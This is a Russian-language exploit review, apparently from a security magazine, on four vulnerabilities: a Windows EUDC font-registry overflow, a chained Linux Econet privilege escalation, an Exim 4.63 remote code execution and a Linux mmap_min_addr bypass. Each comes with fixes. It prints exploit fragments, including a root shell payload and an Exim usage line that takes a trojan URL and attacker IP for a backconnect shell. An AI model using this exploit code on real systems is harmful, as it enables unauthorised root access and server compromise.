Повышение привилегий в Microsoft Windows

 

Targets

  • Windows XP, 2003, Vista, 2008, 7
 

Brief

Интересная уязвимость была опубликована 24 ноября на ресурсе The Code Project под видом статьи. Буквально через несколько часов статья была удалена, но информация уже распространялась по сети с огромной скоростью.

Уязвимость представляет собой классическое переполнение буфера, однако есть несколько интересных нюансов. Для эксплуатации бага надо выполнить WinAPI-функцию EnableEUDC, что приведет к выполнению системного вызова NtGdiEnableEUDC. NtGdiEnableEUDC служит для включения или выключения шрифтов интерфейса, определенных пользователем, и работает следующим образом: функция считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>.

Для получения значения из реестра используется функция RtlQueryRegistryValues:

NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);

В качестве одного из входных параметров функция получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:

typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; // указатель
на функцию, которая осуществляет копирование
ULONG Flags; // то, как будет осуществлено копирование
PWSTR Name;
PVOID EntryContext; // буфер, куда будут скопированы
данные из реестра
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE,
*PRTL_QUERY_REGISTRY_TABLE;

А теперь посмотрим, с какими параметрами вызывается данная функция в коде win32k.sys:

lea eax, [ebp+var_424]
push esi ; Environment
mov [ebp+DestinationString.Buffer], eax
lea eax, [ebp+DestinationString] ; eax указывает на
UNICODE-строку, находящуюся на стеке
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
push esi ; Context
lea eax, [ebp+SourceString]
push offset ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
push eax ; Path
push esi ; RelativeTo
mov [ebp+DestinationString.Length], si
mov [ebp+DestinationString.MaximumLength], 208h
; длина UNICODE-строки
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi
;_RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
; установка Flags
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name,
offsetaSystemdefaulte
; "SystemDefaultEUDCFont"
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
mov ?SharedQueryTable@@3
PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
mov dword_A0179214, esi
mov dword_A0179218, esi
mov dword_A017921C, esi
call ds:__imp__RtlQueryRegistryValues@20
;RtlQueryRegistryValues(x,x,x,x,x)

Следует обратить внимание на значение Flags: оно равно 0x24, что соответствует RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_ REGISTRY_DIRECT. Взведенный флаг RTL_QUERY_REGISTRY_DIRECT указывает на то, что при копировании функция QueryRoutine будет проигнорирована, а данные в EntryContext будут обрабатываться как нетипизированный буфер. В этом и заключается вся суть уязвимости!

Атакующий может создать ключ в реестре: к примеру, HKEY_CURRENT_USER\EUDC\CP-1251 со значением SystemDefaultEUDCF ont любого типа (допустим, REG_BINARY) и большой длиной. Далее в стековый буфер будут без проверок скопированы данные, что приведет к переполнению.

char szKeyName[MAX_PATH], buff[0x800];
sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
memset(buff, 0x41, 0x800);
RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, buff,
0x800); // сохраняем 0x800 байт, как тип REG_BINARY
RegCloseKey(hKey);
EnableEUDC(TRUE); // а это приведет к синему экрану

Примечательно также, что проэксплуатировать данную уязвимость можно на Windows 2000, Vista, 2008 и 7. На XP и 2003-й максимум, чего можно добиться, это появление синего экрана смерти.

 

Solution

Официальное исправление для уязвимости на данный момент отсутствует, однако можно предотвратить возможность ее эксплуатации из-под ограниченной учетной записи, выполнив следующие шаги:

  1. Войти в систему под учетной записью администратора.
  2. Запустить редактор реестра и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> — идентификатор ограниченной учетной записи).
  3. Отредактировать разрешения ключа, запретив пользовательской учетной записи доступ к нему.
 

Повышение привилегий в ядре Linux

 

Targets

  • Linux Kernel <= 2.6.37
 

Brief

Очень интересный эксплоит по повышению привилегий, задействующий сразу 3 различных уязвимости в ядре, опубликовал Дэн Розенберг. Это отличный пример того, когда неэксплуатирумые на первый взгляд уязвимости в связке дают возможность выполнить код.

1. Первая уязвимость (CVE-2010-4258), на мой взгляд, самая интересная. Она связана с системным вызовом clone(2).
Если поток создается с помощью clone(2) с взведенным флагом CLONE_CHILD_CLEARTID, то при завершении потока два нулевых байта могут быть записаны по любому адресу в пользовательском адресном пространстве. Запись двух байтов осуществляется функцией put_user(), которая проверяет адрес на принадлежность пользовательскому API путем стандартной функции access_ok() — аналогом в ядре Windows служат ProbeForRead/ProbeForWrite.

Нельсон Элхадж (автор данной уязвимости) обнаружил, что если ядро выполняет перестановку лимитов адресного пространства путем set_fs(KERNLE_DS), и поток вызовет OOPS (с помощью какоголибо исключения, например, разыменования нулевого указателя), то проверка access_ok() не выполнится.

Это даст возможность переписать два байта по любому адресу уже в пространстве ядра, что ведет к достаточно простому пути повышения привилегий.

Тем не менее, access_ok() имеет нюанс. Чтобы понять его, разберем подробнее внутренние функции ядра линукса: get_fs() и set_fs(). Иногда ядро изменяет правила, для каких адресов access_ok() даст разрешение. Этот функционал выполняется функцией set_fs(), которая меняет диапазоны для пользовательского и ядерного адресного пространства.

После того, как будет выполнено set_fs(KERNEL_DS), access_ok() не выполнит никаких проверок на принадлежность пользовательскому адресному пространству. set_fs(KERNEL_DS) используется в основном тогда, когда функция принимает указатель на пользовательское адресное пространство, а нужно передать указатель на память ядра.

Типичное использование представлено ниже:

old_fs = get_fs();
set_fs(KERNEL_DS); // отключение проверок в access_ok()
vfs_readv(file, kernel_buffer, len, &pos); // без set_fs(KERNEL_DS) vfs_readv вызовет исключение, так как внутри идет проверка посредством access_ok()
set_fs(old_fs); // возврат в обычное русло

2. Вторая уязвимость (CVE-2010-3849) — это простейшее разыменование нулевого указателя в обработке Econet-протокола, которая ведет лишь к панике ядра.

3. Третья уязвимость (CVE-2010-3850) — неправильная настройка прав на сетевые интерфейсы, с помощью которой можно присвоить Econet-адрес на любой сетевой интерфейс.

Также следует рассмотреть некоторые аспекты работы ядра linux, чтобы стало понятно, как три уязвимости работают в связке. Механизм Kernel OOPS’ов: Когда в ядре происходит OOPS (какоелибо исключение) — к примеру, из-за вызова макроса BUG(), который используется разработчиками для контроля неудачи assert’a, ядро пытается очистить ресурсы, а также убить текущий процесс с помощью функции do_exit(). В этот момент у процесса тот же контекст, что и до выполнения OOPS'a, включая set_fs()-перезапись диапазонов адресных пространств. Из этого следует, что при выполнении access_ok() в коде do_exit() никаких проверок выполнено не будет!

Опция CLONE_CHILD_CLEARTID в параметре flags функции clone() означает, что при выходе потока ядро запишет два нулевых байта в специальный адрес в адресном пространстве потока, для того чтобы уведомить остальные потоки о завершении текущего. Этот функционал реализован одной строчкой и обнуляет адрес в специальной структуре task_struct (которая описывает поток/процесс):

put_user(0, tsk->clear_child_tid);

Обычно это не вызывает никаких исключений, однако если данный код исполняется с условием get_fs() == KERNEL_DS, то никаких проверок не будет выполнено, и мы можем подставить любой адрес ядра.

Так как же заставить определенный код работать при условии get_fs() == KERNEL_DS? Дэн Розенберг нашел лазейку, используя функцию splice(). Системный вызов splice() не так давно появился в ядре, он используется для перемещения данных между пайпами и файловыми дескрипторами. Создаем Econet-сокет и далее вызываем splice() с параметром этого сокета, что приведет к вызову econet_sendsmg с set_fs(KERNEL_DS).

Теперь разберем эксплойт по кирпичикам:

Создание сокетов для использования в splice()

fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);

Сбор адресов ядерных функций и данных (credentials или прав процесса)

econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds)
get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)
get_kernel_sym("prepare_kernel_cred");

Создание потока

clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
/* с флагом CLONE_CHILD_CLEARTID */
&fildes, NULL, NULL, target);
ioctl(fildes[2], 0, NULL);
execl("/bin/sh", "/bin/sh", NULL);
// вызов shell с правами рута

Функция, которая вызовет разыменование нулевого указателя в econet_sendmsg

int trigger(int * fildes)
{
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
// стандартный сетевой интерфейс eth0
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
// выставляет Econet адрес
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
// вызовет Null
pointer dereference
/* Сюда мы уже не попадем... */
exit(0);
}

 

Solution

Обновляем ядро до последнего Release Candidate'а.

 

Удаленное исполнение кода в Exim

 

Targets

  • Exim 4.63 (RedHat/Centos/Debian)

Небезызвестный Kingcope снова порадовал общественность serverside эксплоитом на популярный Open Source продукт — почтовый сервер Exim.

Хотя эксплоит работает на достаточно старой версии Exim’a, релиз которой был популярен еще в далеком 2006 году (exim.org/lurker/message/20060731.142652.97e79ab1.en.html и seclists.org/fulldisclosure/2010/Dec/233), используемые техники актуальны и по сей день.

 

Brief

После проведения diff-анализа файла expand.c становится ясно, что это типичный integer overflow.
Важно отметить, что Payload в эксплойте делает backconnect shell’а c правами root.

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}

Его выполнение производится на скомпрометированной системе путем нехитрого манипулирования с файлами:

system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s;
rm /var/spool/exim4/s.c");
open FILE, ">/tmp/e.conf";
print FILE "spool_directory = \${run{/bin/chown
root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 / var/spool/exim4/s}}";
close FILE;
system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
system("uname -a;");
system("/var/spool/exim4/s");
system($system);

Забавно, но в эксплоите присутствует что-то наподобие help’a — наверное, чтобы никто не заблудился :).

if ($#ARGV ne 3)
{
print "./eximxpl <host/ip> <trojanurl> <yourip>
<yourport>\n";
print "example: ./eximxpl utoronto.edu
http://www.h4x.net/shell.txt 3.1.33.7 443\n";
exit;
}

Перейдем к формированию данных, которые приведут к выполнению шелл-кода. При манипуляциях с переменной сразу видно, что тут пахнет integer overflow:

$max_msg = 52428800;
$msg_len = $max_msg + 1024*256;
.....
while (length($body) < $msg_len)
{
$body .= $v;
}
$body = substr($body, 0, $msg_len);
.....
print $sock $body;

Что и приводит к переполнению и эксплуатации shellcode.

 

Solution

Для решения этой баги в exim 4.64 (lists.exim.org/lurker/message/20061220.105401.340f1c13.en.html) был добавлен индикатор на integer overflow.

 

Обход ограничений безопасности в ядре Linux

 

Targets

  • Linux kernel
 

Brief

И снова легендарный Тавис Орманди обнаружил замечательную уязвимость — обход защиты выделения памяти ниже значения, установленного в mmap_min_addr. С помощью этого становится реальностью эксплуатация уязвимостей класса «Разыменование нулевого указателя». Дело в том, что функция install_special_ mapping (используемая для установки vdso) не выполняет проверки безопасности до вызова insert_vm_struct, тем самым атакующий может обойти механизм mmap_min_addr с помощью лимитирования страниц для определенных проецирований.

$ cat /proc/sys/vm/mmap_min_addr
65536 <---- 0x10000
$ cat install_special_mapping.s
section .bss
resb BSS_SIZE
section .text
global _start
_start:
mov eax, __NR_pause
int 0x80
$ nasm -D__NR_pause=29 -DBSS_SIZE=0xfffed000 -f elf -o
install_special_mapping.o install_special_mapping.s
$ ld -m elf_i386 -Ttext=0x10000 -Tbss=0x11000 -o install_
special_mapping install_special_mapping.o
$ ./install_special_mapping &
[1] 14303
$ cat /proc/14303/maps
0000f000-00010000 r-xp 00000000 00:00 0
[vdso] <------ залезли за предел!
00010000-00011000 r-xp 00001000 00:19 2453665
/home/taviso/install_special_mapping
00011000-ffffe000 rwxp 00000000 00:00
[stack]

К сожалению, уязвимость позволяет проецировать память лишь на 4096 байт за пределами значения mmap_min_addr. Однако стоит отметить, что на Linux Red Hat значение mmap_min_addr по умолчанию выставлено в 4096, соответственно, мы можем проецировать память по нулевому указателю!

 

Solution

Применить нехитрый патч:

--- a/fs/exec.c
+++ b/fs/exec.c
@@ -275,7 +275,14 @@ static int __bprm_mm_init(struct
linux_binprm *bprm)
vma->vm_flags = VM_STACK_FLAGS | VM_STACK_INCOMPLETE_
SETUP;
vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
INIT_LIST_HEAD(&vma->anon_vma_chain);
+
+ err = security_file_mmap(NULL, 0, 0, 0, vma->vm_
start, 1);
+
+ if (err)
+ goto err;
+
err = insert_vm_struct(mm, vma);
+
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -2479,6 +2479,11 @@ int install_special_
mapping(struct mm_struct *mm,
vma->vm_ops = &special_mapping_vmops;
vma->vm_private_data = pages;
+ if (security_file_mmap(NULL, 0, 0, 0, vma->vm_start,
1)) {
+ kmem_cache_free(vm_area_cachep, vma);
+ return -EPERM;
+ }

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии